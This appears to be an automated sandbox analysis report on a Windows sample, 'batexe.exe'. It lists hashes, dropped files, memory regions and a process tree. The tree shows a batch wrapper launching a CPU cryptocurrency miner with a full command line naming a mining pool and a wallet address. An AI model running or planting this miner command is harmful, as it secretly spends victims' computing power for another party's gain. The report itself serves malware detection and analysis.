73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
292s
max time network
294s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
11/02/2024, 18:32

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2460	b2e.exe
2912	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2912	cpuminer-sse2.exe
2912	cpuminer-sse2.exe
2912	cpuminer-sse2.exe
2912	cpuminer-sse2.exe
2912	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2580-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2580 wrote to memory of 2460	2580	batexe.exe	74
PID 2580 wrote to memory of 2460	2580	batexe.exe	74
PID 2580 wrote to memory of 2460	2580	batexe.exe	74
PID 2460 wrote to memory of 3820	2460	b2e.exe	75
PID 2460 wrote to memory of 3820	2460	b2e.exe	75
PID 2460 wrote to memory of 3820	2460	b2e.exe	75
PID 3820 wrote to memory of 2912	3820	cmd.exe	78
PID 3820 wrote to memory of 2912	3820	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2580
- C:\Users\Admin\AppData\Local\Temp\8EF2.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8EF2.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8EF2.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2460
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\90B7.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3820
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8EF2.tmp\b2e.exe

Filesize
192KB

MD5
6ac4b534a8945150025756c2f85dd2d4

SHA1
4f8633cd78b9248d5885e75ff1b26ef27a196ad1

SHA256
2e07e008a86c33e31905b1f49b18245261ad08ed3463c6750d63502e1e20e43d

SHA512
303f0cd104441235da58583af1597994df43d0a2d55d6245e89fc7d8f2509915525925277636214722e922f2939c93ba95627d54a18105d6cfa8e606b2f3c172

Download Submit
C:\Users\Admin\AppData\Local\Temp\8EF2.tmp\b2e.exe

Filesize
7.7MB

MD5
6211eaa8e21e3d0dfd79a81aa79fc7db

SHA1
6b8c54096a7cefa79242a82c0dc731d2a9808da4

SHA256
f2d793d69f9f981fc3e3bfa7c7825550899d557f328e82fcf35d3b6b801dacd0

SHA512
28f62f512124f4c94f0f1020f544fdbee6f178c2b19baac002ceb3e18d1e6be87adf03dd250d08d2a762749639572b34bc5f8e388a7e10c7d84628ad0f52a183

Download Submit
C:\Users\Admin\AppData\Local\Temp\90B7.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.0MB

MD5
6b1951e2849d4c78adf0acb1156ace1e

SHA1
92e7b644a32173382a68ebe7770685799a990b2e

SHA256
0514a391ea2c37af6e7815e7bfff04f0bf9396eb5ae46ffebce0f820198f69c9

SHA512
5e4a222e98ff90d3a4cc51f2ef590046edfa671e3e69237fdaf8a0dc193c88ca755e84f985ce5131f0a5c891f7a678ae2f1658d1e859501a014cfd7801a67994

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.0MB

MD5
b431420b612f8c51ddd5138a9192f6e9

SHA1
d51a6cd69d22c504ea5f4aa8fd4ee5d9c96edf96

SHA256
b6e7e9db4ad0f5e91060d0751e76ca190ecc83a21f41d43ff5b26f5854c79f97

SHA512
cc4a1d4101573c20f33a52a22d18221b7be6bea68f53f1c66bdbf336a267bb6f239ffbff694746cb55f5567ff48bf03c8989d0f1f2a200b643aa31ab60c52acb

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.9MB

MD5
102a30b479295f86683a43d4c2a3b777

SHA1
9e3f4d6d3e016c4987e80f34117ce8c7ec8252e7

SHA256
2f7ee8a286550706913dbce43f8bca5ff8f76e0609a08f95e918e9ab23e983c8

SHA512
74625405b8ae308d1f75d61b9c2ee2396a68bcb6f48ccb83787094a02b013d40f9cf1374e17b9d7824cdc74e2c5f0be101f374a623505639b22d308f06ab7ee4

Download Submit
memory/2460-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2460-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2580-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2912-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2912-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2912-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2912-44-0x00000000010D0000-0x0000000002985000-memory.dmp

Filesize
24.7MB

Download
memory/2912-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2912-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2912-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2912-43-0x000000005C0D0000-0x000000005C168000-memory.dmp

Filesize
608KB

Download
memory/2912-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2912-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2912-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2912-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2912-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2912-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2912-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download